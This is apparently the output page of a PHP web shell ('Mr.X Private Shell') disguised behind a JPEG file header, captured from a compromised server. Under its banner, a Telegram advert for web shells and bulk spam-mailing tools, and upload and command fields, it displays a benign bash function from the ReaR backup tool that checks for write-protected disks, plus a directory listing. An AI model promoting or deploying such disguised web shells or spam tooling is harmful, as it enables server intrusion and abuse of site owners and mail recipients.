����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.237: ~ $
#!/bin/bash
#
# Function to identify write-protected disks and partitions.

function is_write_protected() {
    local given_device="$1"
    # Provided a matching device node exists for the given device
    # return 0 when the given device is write-protected by ID
    # or when it is write-protected by file system label
    # otherwise return 1 (i.e. when it is not write-protected).
    # For example /sys/block/sda has matching device node /dev/sda
    # and /sys/block/nvme0n1 has matching device node /dev/nvme0n1
    # but not all /sys/block/* entries have a matching device node
    # in particular /sys/block/nvme0c0n1 has no /dev/nvme0c0n1 because it is part of NVMe multipathing
    # see https://github.com/rear/rear/issues/3085

    # When both WRITE_PROTECTED_IDS and WRITE_PROTECTED_FS_LABEL_PATTERNS are empty
    # no device is write-protected:
    if (( ${#WRITE_PROTECTED_IDS[@]} )) || (( ${#WRITE_PROTECTED_FS_LABEL_PATTERNS[@]} )) ; then
        Log "Checking write protection for '$given_device'"
    else
        Log "'$given_device' is not write-protected (empty WRITE_PROTECTED_IDS and WRITE_PROTECTED_FS_LABEL_PATTERNS)"
            return 1
    fi

    # Determine the matching device node, translate it if given as /sys/block/*
    # But $device_node could be also symlink to the actual device node, for example
    # for OUTPUT=USB $given_device is of the form /dev/disk/by-label/$USB_DEVICE_FILESYSTEM_LABEL
    # which is a symlink to the ReaR data partition (e.g. /dev/sdb3 on a USB disk /dev/sdb).
    local device_node="$given_device"
    [[ "$given_device" == /sys/block/* ]] && device_node="$( get_device_name "$given_device" )"

    # Because this is meant to identify write-protected disks and partitions
    # only given devices with a matching device node are considered for write protection
    # so given devices without matching device node get reported as not write protected:
    if test -e "$device_node" ; then
        test -b "$device_node" || BugError "is_write_protected called for '$given_device' but '$device_node' is no block device"
    else
        Log "'$given_device' is not write-protected ('$device_node' does not exist)"
        return 1
    fi
    # The matching device node exists and is a block device
    # so given_device and device_node are non empty words.

    # Determine the IDs of the disk device that belongs to the given device:
    # At least for OUTPUT=USB $given_device is of the form /dev/disk/by-label/$USB_DEVICE_FILESYSTEM_LABEL
    # which is a symlink to the ReaR data partition (e.g. /dev/sdb3 on a USB disk /dev/sdb).
    # On a USB disk that was formatted with "rear format" there is only one layer of child devices
    # (i.e. there are only partitions like /dev/sdb1 /dev/sdb2 /dev/sdb3 on a USB disk /dev/sdb).
    # So we only need to use the direct parent device to get all IDs of the whole disk
    # because the goal is to write-protect the whole disk by using all its IDs
    # cf. https://github.com/rear/rear/pull/2703#issuecomment-952888484
    local parent_device=""
    # Older Linux distributions do not contain lsblk (e.g. SLES10)
    # and older lsblk versions do not support the output column PKNAME
    # e.g. lsblk in util-linux 2.19.1 in SLES11 supports NAME and KNAME but not PKNAME
    # cf. https://github.com/rear/rear/pull/2626#issuecomment-856700823
    # We ignore lsblk failures and error messages and we skip empty lines in the output via 'awk NF'
    # cf. https://unix.stackexchange.com/questions/274708/most-elegant-pipe-to-get-rid-of-empty-lines-you-can-think-of
    # and https://stackoverflow.com/questions/23544804/how-awk-nf-filename-is-working
    # (an empty line appears for a whole disk device e.g. /dev/sdb that has no PKNAME)
    # and we use only the topmost reported PKNAME:
    parent_device="$( lsblk -inpo PKNAME "$device_node" 2>/dev/null | awk NF | head -n1 )"
    # parent_device is empty when lsblk does not support PKNAME.
    # In this case use device_node as fallback for parent_device.
    # Without quoting an empty parent_device would result plain "test -b" which would (falsely) succeed:
    test -b "$parent_device" || parent_device="$device_node"
    # The default WRITE_PROTECTED_ID_TYPES are UUID PTUUID PARTUUID WWN.
    # Older lsblk versions do not support all output columns UUID PTUUID PARTUUID WWN
    # e.g. lsblk in util-linux 2.19.1 in SLES11 only supports UUID but neither PTUUID nor PARTUUID nor WWN
    # cf. https://github.com/rear/rear/pull/2626#issuecomment-856700823
    # When an unsupported output column is specified lsblk aborts with "unknown column" error message
    # without output for supported output columns so we run lsblk for each output column separately
    # and ignore lsblk failures and error messages and we skip empty lines in the output via 'awk NF'
    # (empty lines appear when a partition does not have a filesystem UUID or for the whole device that has no PARTUUID
    #  or for all columns except UUID when a child device is a /dev/mapper/* device
    #  and some devices do not have any WWN set)
    # and we remove duplicate reported IDs (in particular PTUUID is reported also for each partition):
    local ids column
    ids="$( for column in $WRITE_PROTECTED_ID_TYPES ; do lsblk -ino $column "$parent_device" 2>/dev/null ; done | awk NF | sort -u )"

    # Determine if it is write-protected by ID
    # i.e. return 0 if one of the device IDs is in the list of write-protected IDs.
    local id
    # ids is a string of IDs separated by newline characters
    if test "$ids" ; then
        for id in $ids ; do
            if IsInArray "$id" "${WRITE_PROTECTED_IDS[@]}" ; then
                Log "$given_device is designated as write-protected by ID '$id'"
                return 0
            fi
        done
        Log "$given_device is not write-protected by ID"
    else
        LogPrintError "Cannot check write protection by ID for $given_device (no ID found)"
        # It would be safer to assume a disk without ID is protected (and return 0)
        # instead of assuming that it is not protected and proceed.
        # But in practice that does not work sufficiently well because it can happen
        # that a disk has no ID (by default non of UUID PTUUID PARTUUID WWN)
        # which usually means there is nothing on the disk so that empty disks
        # would get excluded as write-protected from being used to recreate the system
        # cf. https://github.com/rear/rear/pull/2703#discussion_r757393547
        # By default we write protect ReaR's own disk where the recovery system is and
        # we assume it cannot happen that this disk has none of UUID PTUUID PARTUUID WWN
        # so it should be safe to assume a disk without UUID PTUUID PARTUUID WWN is empty
        # and meant to be used to recreate the system so it should not be write-protected by ID.
    fi

    # Determine if it is write-protected by file system labels
    # i.e. return 0 if one of the device file system labels
    # matches one of the WRITE_PROTECTED_FS_LABEL_PATTERNS.
    # lsblk in util-linux 2.19.1 in SLES11 supports '-ino LABEL'
    # cf. https://github.com/rear/rear/pull/2626#issuecomment-856700823
    local device_label fs_label_pattern
    while read -r device_label ; do
        test "$device_label" || continue
        for fs_label_pattern in "${WRITE_PROTECTED_FS_LABEL_PATTERNS[@]}" ; do
            if [[ "$device_label" == $fs_label_pattern ]] ; then
                Log "$given_device is designated as write-protected (its label '$device_label' matches '$fs_label_pattern')"
                return 0
            fi
        done
    done < <( lsblk -ino LABEL "$device_node" )
    Log "$given_device is not write-protected by file system label"

    # The given device is neither write-protected by ID
    # nor is it write-protected by file system label:
    Log "$given_device is not write-protected"
    return 1
}

Filemanager

Name Type Size Permission Actions
validated Folder 0755
.shellcheckrc File 25 B 0644
_input-output-functions.sh File 87.9 KB 0644
array-functions.sh File 1.08 KB 0644
authtoken-functions.sh File 16.83 KB 0644
bareos-functions.sh File 10.3 KB 0644
bootloader-functions.sh File 42.15 KB 0644
borg-functions.sh File 6.9 KB 0644
checklayout-workflow.sh File 646 B 0644
columns-functions.sh File 2.95 KB 0644
config-functions.sh File 7.87 KB 0644
drlm-functions.sh File 2.6 KB 0644
dump-workflow.sh File 6.89 KB 0644
filesystems-functions.sh File 10.63 KB 0644
finalizeonly-workflow.sh File 1.22 KB 0644
format-workflow.sh File 3.79 KB 0644
framework-functions.sh File 8.55 KB 0644
global-functions.sh File 41.29 KB 0644
help-workflow.sh File 3.5 KB 0644
hp_raid-functions.sh File 871 B 0644
layout-functions.sh File 61.66 KB 0644
layoutonly-workflow.sh File 803 B 0644
linux-functions.sh File 12.85 KB 0644
mail-functions.sh File 1.39 KB 0644
mkbackup-workflow.sh File 585 B 0644
mkbackuponly-workflow.sh File 368 B 0644
mkboot-workflow.sh File 1.13 KB 0644
mkopalpba-workflow.sh File 890 B 0644
mkrescue-functions.sh File 5.72 KB 0644
mkrescue-workflow.sh File 461 B 0644
mountonly-workflow.sh File 1.7 KB 0644
network-functions.sh File 8.53 KB 0644
opal-functions.sh File 15.67 KB 0644
opaladmin-workflow.sh File 18.37 KB 0644
output-functions.sh File 3.17 KB 0644
progresssubsystem.nosh File 2.32 KB 0644
rear-shell.bashrc File 2.67 KB 0644
recover-workflow.sh File 1.57 KB 0644
restoreonly-workflow.sh File 832 B 0644
rsync-functions.sh File 4.56 KB 0644
savelayout-workflow.sh File 739 B 0644
serial-functions.sh File 3.98 KB 0644
sesam-functions.sh File 1.18 KB 0644
shell-workflow.sh File 648 B 0644
udev-workflow.sh File 3.27 KB 0644
uefi-functions.sh File 6.33 KB 0644
validate-workflow.sh File 4.88 KB 0644
write-protect-functions.sh File 7.75 KB 0644